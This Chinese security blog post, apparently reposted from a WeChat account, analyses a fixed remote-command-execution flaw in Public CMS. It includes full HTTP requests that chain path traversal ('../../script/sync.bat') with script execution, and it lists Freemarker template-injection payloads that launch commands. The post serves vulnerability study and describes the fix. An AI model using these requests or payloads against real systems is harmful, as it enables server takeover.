某CMS的RCE漏洞分析&思路扩展(新手学习)

admin 2024年1月11日13:15:50评论34 views字数 5994阅读19分58秒阅读模式

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,海底生残月及文章作者不为此承担任何责任。

现在只对常读和星标的公众号才展示大图推送,建议大家能把海底生残月设为星标”,否则可能就看不到了啦

欢迎师傅们加群一起交流

某CMS的RCE漏洞分析&思路扩展(新手学习)

0x00 漏洞前言

Github上面一个开源的JAVA CMS系统( Public CMS ),该系统存在一处任意命令执行(漏洞现已修复),记录下该漏洞的分析过程以及遇到类似的CMS系统我们还可以从哪些点进行漏洞挖掘。

0x01 漏洞前言

搭建完系统后,登录admin系统管理员进入系统,发现有一个执行脚本的功能点,脚本可选择bat或sh(用于Windows和Linux两个操作系统上):

某CMS的RCE漏洞分析&思路扩展(新手学习)

点击执行获取数据包如下:

POST /publiccms_war/admin/sysSite/execScript?navTabId=sysSite/script HTTP/1.1Host: 127.0.0.1:8081Content-Length: 72Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1:8081Referer: http://127.0.0.1:8081/publiccms_war/admin/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1173C94B74E22D7477C2BB54B5760C4F; PUBLICCMS_ADMIN=1_553ba132-1c5f-4218-bb35-f955109d8446Connection: close_csrf=553ba132-1c5f-4218-bb35-f955109d8446&command=sync.bat&parameters=1

0x02 漏洞分析

搜索URL路由(Controller):

某CMS的RCE漏洞分析&思路扩展(新手学习)

发现了这个方法,该方法有两个参数 command 和 parameters 分别为我们script脚本名和参数siteId:

某CMS的RCE漏洞分析&思路扩展(新手学习)

跟进方法 execute,可以看到对脚本和参数的处理:

某CMS的RCE漏洞分析&思路扩展(新手学习)

方法的大概处理逻辑为:首先会对脚本名进行判断,当传入脚本为backupdb.batbackupdb.sh(用于数据库备份的脚本)时,加载数据库配置文件databaseConfiFile,从数据库配置文件中获取用户名、数据库名、密码这些属性,判断是否存在加密后的密码,然后解密密码,并将这些值分别作为元素存入 cmdarray 数组中;当不是这两个脚本时(也就是sync.batsync.sh),先对参数进行处理,参数会进行 PARAMETER_PATTERN 正则表达式的匹配,即检查参数的合法性;

方法的后半部分是对文件的创建和命令执行的处理,在这里我们找到了 Runtime.getRuntime().exec() 方法:

某CMS的RCE漏洞分析&思路扩展(新手学习)

方法的大概处理逻辑为:创建文件路径为dir(dir为上面定义的:CMS_FILEPATH + /script)+脚本名,然后判断文件是否存在,如果不存在获取输入流内容并复制到 script 文件中,将 filepath 插入 cmdarray 数组的开头,然后通过 Runtime.getRuntime().exec() 方法执行脚本的内容。

但这些脚本都是系统内置的脚本(无法直接利用),之后发现系统提供了一个替换模板文本内容的功能点,我们可以利用这个功能点来修改脚本内容,将命令写入脚本中实现任意命令执行:

某CMS的RCE漏洞分析&思路扩展(新手学习)

点击替换抓取数据包如下,参数 word 为查询的内容,replace 为替换的内容,replaceList[0].path为文件路径,还有一个 replaceList[0].indexs 索引标记(用于标记搜索的内容在文件中出现的次数&位置):

POST /publiccms_war/admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1Host: 127.0.0.1:8081Content-Length: 226Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1:8081Referer: http://127.0.0.1:8081/publiccms_war/admin/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PUBLICCMS_ADMIN=1_553ba132-1c5f-4218-bb35-f955109d8446; JSESSIONID=BA166C749709B8766689F349339FEA73; PUBLICCMS_ANALYTICS_ID=bf9f77eb-31db-4888-8d82-4b1e05fc7c39Connection: close_csrf=553ba132-1c5f-4218-bb35-f955109d8446&word=login&replace=1234&replaceList%5B0%5D.path=%2Fmember%2Flogin.html&replaceList%5B0%5D.indexs=0&replaceList%5B0%5D.indexs=1&replaceList%5B0%5D.indexs=2&replaceList%5B0%5D.indexs=3

搜索下这个路由,找到方法 replace,参数为传入的模板替换对象 TemplateReplaceParameters、查询的内容word 以及替换的内容 replace

某CMS的RCE漏洞分析&思路扩展(新手学习)

先看下 TemplateReplaceParameters 参数,它有一个列表属性 repalceList 是一个泛型列表:

某CMS的RCE漏洞分析&思路扩展(新手学习)

其元素类型 FileReplaceResult 类,里面有两个属性path和indexs即为我们post数据传入的replaceList[0].pathreplaceList[0].indexs

某CMS的RCE漏洞分析&思路扩展(新手学习)

回头再看下这个方法的处理逻辑:首先获取站点ID + CommonConstants.SEPARATOR=构成对应的模板文件路径,然后调用 replaceFileList 方法,跟进这个方法可以看到参数为原始模板路径、传入的模板文件列表和要替换的文本内容,方法如下用于处理读文件内容->替换内容->重新写入文件:

某CMS的RCE漏洞分析&思路扩展(新手学习)

查看文件后发现模板和脚本都在 publiccms 目录下,且路径为:

publiccmstemplatesite_idxxxxpubliccmsscriptsync.bat

整体跟下来发现未对替换的文件路径做限制,所以我们可以利用 ../../ 从当前目录穿越到脚本文件目录下,然后替换系统脚本文件内容。

0x02 漏洞复现

1、构造数据包修改脚本文件内容(这里演示在Windows系统上对bat脚本内容的替换操作)

POST /publiccms_war/admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1Host: 127.0.0.1:8081Content-Length: 226Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1:8081Referer: http://127.0.0.1:8081/publiccms_war/admin/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PUBLICCMS_ADMIN=1_553ba132-1c5f-4218-bb35-f955109d8446; JSESSIONID=BA166C749709B8766689F349339FEA73; PUBLICCMS_ANALYTICS_ID=bf9f77eb-31db-4888-8d82-4b1e05fc7c39Connection: close_csrf=553ba132-1c5f-4218-bb35-f955109d8446&word=echo%20%22repo%20not%20config!%22&replace=echo%20%22repo%20not%20config!%22%20%26%20start%20calc&replaceList%5B0%5D.path=../../script/sync.bat&replaceList%5B0%5D.indexs=0

成功替换内容:

某CMS的RCE漏洞分析&思路扩展(新手学习)

2、执行脚本,触发命令

某CMS的RCE漏洞分析&思路扩展(新手学习)

0x03 漏洞修复

在处理文件路径中添加了方法 getSafeFileName

某CMS的RCE漏洞分析&思路扩展(新手学习)

该方法如下,对传入的 .. 的路径做了置为空字符串的操作:

某CMS的RCE漏洞分析&思路扩展(新手学习)

0x04 漏洞扩展

类似的cms系统还可以尝试下文件上传、模板注入等方法。

1、文件上传

  • 修改文件上传路径,上传恶意脚本到执行系统脚本的目录下

这里需要注意系统是否存在类似于这个系统对路径安全的处理方法

  • 修改脚本执行路径,执行脚本时将路径修改到用户目录下

这里需要注意执行脚本时系统对传入脚本的匹配方法

//像这个cms系统使用了 ArrayUtils.contains 对象引用,传入的脚本名只能匹配系统的这四个脚本String[] COMMANDS = { "sync.bat", "sync.sh", "backupdb.bat", "backupdb.sh" }ArrayUtils.contains(COMMANDS, command.toLowerCase())ArrayUtils.contains(COMMANDS, "sync.bat");         //trueArrayUtils.contains(COMMANDS, "\aaa\sync.bat");  //false

2、模板注入

像这类提供了自定义模板编辑功能点的cms系统,可以看下系统引用的模板引擎如 ThymeleafFreemarker等,可能会存在模板注入(该系统使用的是 Freemarker 2.3.32 版本,我们这里整理了下该引擎历史版本可利用的POC):

  • new()

  • <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

但这个利用方法在 2.3.17 版本以后修复了,官方对这三个类的解析做了限制。

  • API

  • <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")}

利用前提:当 api_builtin_enabled 为true时才可使用,而该配置在2.3.22 版本之后默认为false。

  • 2.3.30以下版本

  • <#assign classloader=<<object>>.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")><#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>${dwf.newInstance(ec,null)("whoami")}

0x04 星球介绍

原文始发于微信公众号(海底生残月):某CMS的RCE漏洞分析&思路扩展(新手学习)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日13:15:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某CMS的RCE漏洞分析&思路扩展(新手学习)http://cn-sec.com/archives/2383625.html

发表评论

匿名网友 填写信息